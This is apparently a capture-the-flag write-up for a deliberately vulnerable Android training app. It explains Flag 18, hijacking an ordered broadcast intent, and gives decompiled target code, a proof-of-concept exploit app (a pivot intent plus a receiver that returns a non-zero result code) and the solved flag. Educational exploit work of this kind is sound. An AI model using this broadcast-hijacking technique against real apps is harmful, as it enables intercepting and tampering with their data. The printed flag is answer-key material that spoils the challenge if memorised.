Static Analysis

AndroidManifest.xml

Upon inspecting the Flag18Activity in the AndroidManifest.xml file we see the following

<activity  
	android:name="io.hextree.attacksurface.activities.Flag18Activity"  
	android:exported="false"/>

Since exported is set to false we can’t call this activity from our exploit apk, but as we saw in Flag5Activity we can use it to be our pivot activity

Flag18Activity Class

public class Flag18Activity extends AppCompactActivity {  
    public static String SECRET_FLAG = "giving-out-flags";  
  
    public Flag18Activity() {  
        this.name = "Flag 18 - Hijack broadcast intent";  
        this.flag = "Ngjci4SC/yCeicKQWURFppzwSKDfWLZdx/WPnrBclZ8Ilkh1Qd4bVh+n9nigu1CU";  
        this.tag = "BroadcastReceiver";  
        this.tagColor = R.color.green;  
        this.hideIntentDialog = true;  
    }  
  
    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity  
    protected void onCreate(Bundle bundle) {  
        super.onCreate(bundle);  
        this.f = new LogHelper(this);  
        this.f.addTag(SECRET_FLAG);  
        Intent intent = new Intent("io.hextree.broadcast.FREE_FLAG");  
        intent.putExtra("flag", this.f.appendLog(this.flag));  
        intent.addFlags(8);  
        sendOrderedBroadcast(intent, null, new BroadcastReceiver() { // from class: io.hextree.attacksurface.activities.Flag18Activity.1  
            @Override // android.content.BroadcastReceiver  
            public void onReceive(Context context, Intent intent2) {  
                String resultData = getResultData();  
                Bundle resultExtras = getResultExtras(false);  
                int resultCode = getResultCode();  
                Log.i("Flag18Activity.BroadcastReceiver", "resultData " + resultData);  
                Log.i("Flag18Activity.BroadcastReceiver", "resultExtras " + resultExtras);  
                Log.i("Flag18Activity.BroadcastReceiver", "resultCode " + resultCode);  
                if (resultCode != 0) {  
                    Utils.showIntentDialog(context, "BroadcastReceiver.onReceive", intent2);  
                    Flag18Activity flag18Activity = Flag18Activity.this;  
                    flag18Activity.success(flag18Activity);  
                }  
            }  
        }, null, 0, null, null);  
        Toast.makeText(this, "Sent a broadcast io.hextree.broadcast.FREE_FLAG", 0).show();  
    }  
}

The code here seems big but it only checks one thing to give you the flag! It only checks if the resulting code != 0 if so it calls success, pretty simple so let’s start creating our poc

Creating POC

Here we need to classes:

  1. Flag18: This will help us initiate the activity and get the flag
  2. Flag18Receiver: This will return the wanted resultCode

Flag18.java

public class Flag18 extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_flag18);
        if (getSupportActionBar() != null) {
            getSupportActionBar().setTitle("Flag 18");
        }
 
        Button button = findViewById(R.id.button_flag18);
        button.setOnClickListener(v -> {
            Log.v("Tensai-POC", "Solving Flag 18");
			// Here we pivot to Flag18Activity via Flag5Activity just to start the challenge
            Intent intent = new Intent();
            intent.setComponent(new ComponentName(
                    "io.hextree.attacksurface",
                    "io.hextree.attacksurface.activities.Flag18Activity"
            ));
            Intent pivot = PivotIntent.create(intent);
            startActivity(pivot);
        });
		// Here we tell the android that our app can handle this broadcast event with this filter
        BroadcastReceiver receiver = new Flag18Receiver();
        IntentFilter filter = new IntentFilter("io.hextree.broadcast.FREE_FLAG");
        
        // Fix for Android 14+ (API 34): Must specify EXPORTED or NOT_EXPORTED
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
            registerReceiver(receiver, filter, Context.RECEIVER_EXPORTED);
        } else {
            registerReceiver(receiver, filter);
        }
    }
}

Flag18Receiver

public class Flag18Receiver extends BroadcastReceiver {
 
    @Override
    public void onReceive(Context context, Intent intent) {
        setResult(1337, "Git Gud", null);
    }
}

This is an extremely simple receiver that returns a result code that’s not equal 0

Flag

HXT{hijacking-broadcast-intent-as91}